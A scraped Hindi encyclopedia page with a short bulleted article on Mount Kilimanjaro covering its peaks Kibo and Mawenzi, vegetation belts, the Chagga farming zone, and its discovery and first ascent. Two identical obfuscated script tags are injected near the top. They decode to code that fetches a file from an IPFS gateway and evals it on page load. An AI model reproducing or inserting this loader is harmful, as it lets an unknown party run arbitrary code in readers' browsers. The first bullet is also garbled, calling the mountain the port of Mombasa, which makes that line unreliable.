किलिमंजारो पर्वत

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  • किलिमंजारो पर्वत पूर्वी अफ्रीका के टंगान्यिका में मोंबासा पत्तन [१]है।
  • इसकी प्रधान अक्षरेखा पूर्व से पश्चिम की ओर फैली हुई है।
  • इस पर्वतांचल में एक दूसरे से सात मील के अंतर पर स्थित दो ऊँचे शिखर हैं।
  • पश्चिम में स्थित किबो (19,321 फुट) तथा पुर्व में स्थित मावेंजी (16,892 फुट)।
  • किबो अफ्रीका के ज्ञात शिखरों में सर्वोच्च है।
  • किबो शिखर की लाबा चट्टानों से निर्मित ढालों पर लगभग 200 फुट तक किम की श्वेत पट्टी पड़ी हुई है, जिसमें से कहीं-कही नालों के द्वारा हिमानियाँ प्रवाहित होती हैं।
  • किलिमंजारों पर्वत पर पर्वत सुलभ पट्टियाँ मिलती है।
  • लगभग 6,500 से 9,500 फुट ऊँचाई तक वनप्रांत फैला हुआ है, जिसके ऊपर 12,700 फुट तक फूलोंवाले उच्च्पर्वतीय पौधे उगते हैं।
  • दक्षिणी ढालों पर 4,000 और 6,000 फुट के मध्य घना बसा हुआ चांगा का क्षेत्र स्थित है, जिसमें कहवा, मक्का तथा केला उगाया जाता है।
  • जोहैनीज रेबमैन नामक धर्मप्रचारक ने 1848 ई0 में किलिमुजारों पर्वत का पता लगाया।
  • सन्‌ 1889 में डॉक्टर हांस मेयर ने इसपर चढ़ने का सफल अभियान किया।

टीका टिप्पणी और संदर्भ

  1. स्थिति 3.5 द. अक्षांश तथा 37.23 पू. देशांतर